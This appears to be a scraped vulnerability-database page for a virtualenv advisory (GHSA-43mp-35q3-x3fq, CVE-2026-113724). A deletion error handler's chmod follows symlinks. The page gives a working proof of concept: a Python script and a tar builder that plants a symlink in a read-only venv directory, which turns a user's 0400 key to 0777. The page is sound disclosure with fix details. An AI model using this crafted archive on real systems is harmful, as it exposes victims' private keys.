GHSA-43MP-35Q3-X3FQ

Vulnerability from github – Published: 2026-10-21 21:31 – Updated: 2026-10-21 21:31

Summary

virtualenv: Deletion recovery can change a symlink target's mode

Details

Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permission recovery after a filesystem deletion error.

Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

Affected code

The relevant 21.14.8 source is in safe_delete().

Mechanism

safe_delete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become 0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path.

Reproduction and evidence

The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to

3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on

deletion failure and handles Windows read-only entries without following reparse points.

Attack sequence

sequenceDiagram
    participant A as Prepared read-only venv tree
    participant V as safe_delete error handler
    participant L as Symlink in venv
    participant K as User's 0400 key
    A->>V: virtualenv venv or --clear venv
    V->>L: unlink fails in 0555 directory
    V->>L: lstat returns link mode 0777
    V->>L: chmod follows symlink
    L->>K: target mode becomes 0777
    V-->>A: retry fails with PermissionError
    Note over K: Other accounts can use new mode if parent paths are traversable

Reproducer files

The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import stat
import subprocess
import sys
import tempfile
from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
os.chmod(work, 0o755)
os.chown(work, NOBODY, NOBODY)

# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
os.setgroups([])
os.setgid(NOBODY)
os.setuid(NOBODY)
os.umask(0o022)


def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
    home = work / home_name
    archive = work / archive_name
    key = home / "keys" / "deploy.pem"
    key.parent.mkdir(parents=True)
    key.write_text("PRIVATE KEY\n")
    key.chmod(0o400)
    subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

    mode_before = stat.S_IMODE(key.stat().st_mode)
    command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
    # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
    result = subprocess.run(
        command,
        cwd=home / "proj",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
    mode_after = stat.S_IMODE(key.stat().st_mode)

    print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
    print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
    return mode_before, mode_after


control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

# check: the key lives outside the destination; virtualenv has no business changing its mode
print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")

repro.d/make_project_archive.py

#!/usr/bin/env python3
import sys
import tarfile

archive_path = sys.argv[1]
python_folder_mode = int(sys.argv[2], 8)

with tarfile.open(archive_path, "w") as archive:
    python_folder = tarfile.TarInfo("proj/venv/bin/python")
    python_folder.type = tarfile.DIRTYPE
    python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES
    archive.addfile(python_folder)

    link = tarfile.TarInfo("proj/venv/bin/python/entry")
    link.type = tarfile.SYMTYPE
    link.linkname = "../../../../keys/deploy.pem"  # the victim's key, beside the unpacked proj/
    archive.addfile(link)

Impact

Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection.

Fix: PR #3427.

Known mitigation

Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges.

Affected release

[x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

Severity

4.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "virtualenv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "21.14.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T21:31:34Z",
    "nvd_published_at": "2026-10-20T20:17:19Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows\nsymlinks. On an eligible unlink failure this can change permissions outside the destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermission recovery after a filesystem deletion error.\n\n## Attacker-controlled input\n\nA deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have\npermission to change the target mode. This is conditional error handling, not the normal successful unlink path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\n`safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler\ncalls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link\u0027s\nmode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target\u0027s mode to become\n`0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user;\nroot does not reach this failure path.\n\n## Reproduction and evidence\n\nThe scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to\nthe user\u0027s mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and\n`virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the\nkey\u0027s mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the\nkey at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup.\n\nThis changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the\nwidened mode only if it can traverse the target\u0027s parent directories. The scanner dates the active error handler to\n#3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on\ndeletion failure and handles Windows read-only entries without following reparse points.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared read-only venv tree\n    participant V as safe_delete error handler\n    participant L as Symlink in venv\n    participant K as User\u0027s 0400 key\n    A-\u003e\u003eV: virtualenv venv or --clear venv\n    V-\u003e\u003eL: unlink fails in 0555 directory\n    V-\u003e\u003eL: lstat returns link mode 0777\n    V-\u003e\u003eL: chmod follows symlink\n    L-\u003e\u003eK: target mode becomes 0777\n    V--\u003e\u003eA: retry fails with PermissionError\n    Note over K: Other accounts can use new mode if parent paths are traversable\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\nNOBODY = 65534\n\nwork = Path(tempfile.mkdtemp(prefix=\"repro-safe-delete-\"))\nos.chmod(work, 0o755)\nos.chown(work, NOBODY, NOBODY)\n\n# the attacker\u0027s project archive (venv/bin/python read-only), and the same archive with that folder writable\nmake_archive = [sys.executable, \"/tmp/repro.d/make_project_archive.py\"]\nsubprocess.run([*make_archive, work / \"read-only.tar\", \"555\"], check=True)\nsubprocess.run([*make_archive, work / \"writable.tar\", \"755\"], check=True)\nsubprocess.run([\"tar\", \"-tvf\", work / \"read-only.tar\"], check=True)\n\n# from here on an ordinary user: root\u0027s unlink never fails, so safe_delete\u0027s error handler would never run\nos.setgroups([])\nos.setgid(NOBODY)\nos.setuid(NOBODY)\nos.umask(0o022)\n\n\ndef unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):\n    home = work / home_name\n    archive = work / archive_name\n    key = home / \"keys\" / \"deploy.pem\"\n    key.parent.mkdir(parents=True)\n    key.write_text(\"PRIVATE KEY\\n\")\n    key.chmod(0o400)\n    subprocess.run([\"tar\", \"-xf\", archive], cwd=home, check=True)\n\n    mode_before = stat.S_IMODE(key.stat().st_mode)\n    command = [\"virtualenv\", \"--no-periodic-update\", \"-q\", *options, \"venv\"]\n    # HOME is where virtualenv keeps its app-data; nobody\u0027s own, /nonexistent, cannot hold it\n    result = subprocess.run(\n        command,\n        cwd=home / \"proj\",\n        env={**os.environ, \"HOME\": str(home)},\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        text=True,\n    )\n    mode_after = stat.S_IMODE(key.stat().st_mode)\n\n    print(f\"{label} {archive_name}, `{\u0027 \u0027.join(command)}`: exit {result.returncode} {result.stdout.strip()}\")\n    print(f\"{label} {key} mode {mode_before:#o} -\u003e {mode_after:#o}\")\n    return mode_before, mode_after\n\n\ncontrol = unpack_next_to_key_and_run_virtualenv(\"CONTROL \", \"home-control\", \"writable.tar\")\ndefault = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-default\", \"read-only.tar\")\nclear = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-clear\", \"read-only.tar\", \"--clear\")\n\n# check: the key lives outside the destination; virtualenv has no business changing its mode\nprint(\"BUG\" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else \"OK\")\n```\n\n**`repro.d/make_project_archive.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nimport tarfile\n\narchive_path = sys.argv[1]\npython_folder_mode = int(sys.argv[2], 8)\n\nwith tarfile.open(archive_path, \"w\") as archive:\n    python_folder = tarfile.TarInfo(\"proj/venv/bin/python\")\n    python_folder.type = tarfile.DIRTYPE\n    python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES\n    archive.addfile(python_folder)\n\n    link = tarfile.TarInfo(\"proj/venv/bin/python/entry\")\n    link.type = tarfile.SYMTYPE\n    link.linkname = \"../../../../keys/deploy.pem\"  # the victim\u0027s key, beside the unpacked proj/\n    archive.addfile(link)\n```\n\n## Impact\n\nPermission recovery after a failed deletion can change an unrelated target\u0027s access bits. This requires the deletion\nfailure to occur on a link and the invoking user to have permission to change the target mode.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that\nopens the entry itself without following reparse points and denies replacement until the attribute update finishes. It\nrejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains\noutside this protection.\n\nFix: [PR #3427](https://github.com/pypa/virtualenv/pull/3427).\n\n## Known mitigation\n\nAvoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before\nretrying with broader privileges.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-UK90QC27.",
  "id": "GHSA-43mp-35q3-x3fq",
  "modified": "2026-10-21T21:31:34Z",
  "published": "2026-10-21T21:31:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113724"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3427"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "virtualenv: Deletion recovery can change a symlink target\u0027s mode"
}

CVE-2026-113724 (GCVE-0-2026-113724)

Vulnerability from cvelistv5 – Published: 2026-10-20 19:53 – Updated: 2026-10-20 19:53

Title

virtualenv: Deletion recovery can change a symlink target's mode

Summary

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the safe_delete() deletion error handler responds to a failed removal by reading mode bits with os.lstat(path) and applying owner-write permission with os.chmod(path, ...), which follows a symlink. A planted link inside a read-only directory can therefore cause a victim-owned target outside the destination that is initially not writable by the invoking user to become broadly writable before the retry fails, provided that user owns the target and can change its mode. Another account can use the widened mode only if it can traverse the target's parent directories; root does not reach the demonstrated failure path, and the operation does not itself read the target. This issue is fixed in version 21.14.9.

Severity

4.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE

CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7634 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/pypa/virtualenv/security/advis…	x_refsource_CONFIRM
https://github.com/pypa/virtualenv/pull/3427	x_refsource_MISC
https://github.com/pypa/virtualenv/commit/2bfdc02…	x_refsource_MISC
https://github.com/pypa/virtualenv/releases/tag/21.14.9	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
pypa	virtualenv	Affected: < 21.14.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "virtualenv",
          "vendor": "pypa",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 21.14.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the safe_delete() deletion error handler responds to a failed removal by reading mode bits with os.lstat(path) and applying owner-write permission with os.chmod(path, ...), which follows a symlink. A planted link inside a read-only directory can therefore cause a victim-owned target outside the destination that is initially not writable by the invoking user to become broadly writable before the retry fails, provided that user owns the target and can change its mode. Another account can use the widened mode only if it can traverse the target\u0027s parent directories; root does not reach the demonstrated failure path, and the operation does not itself read the target. This issue is fixed in version 21.14.9."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "LOW",
            "baseScore": 4.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-59",
              "description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-20T19:53:29.357Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fq",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fq"
        },
        {
          "name": "https://github.com/pypa/virtualenv/pull/3427",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/pull/3427"
        },
        {
          "name": "https://github.com/pypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440"
        },
        {
          "name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "source": {
        "advisory": "GHSA-43mp-35q3-x3fq",
        "discovery": "UNKNOWN"
      },
      "title": "virtualenv: Deletion recovery can change a symlink target\u0027s mode"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-113724",
    "datePublished": "2026-10-20T19:53:29.357Z",
    "dateReserved": "2026-10-20T16:03:14.863Z",
    "dateUpdated": "2026-10-20T19:53:29.357Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-43MP-35Q3-X3FQ

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

CVE-2026-113724 (GCVE-0-2026-113724)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour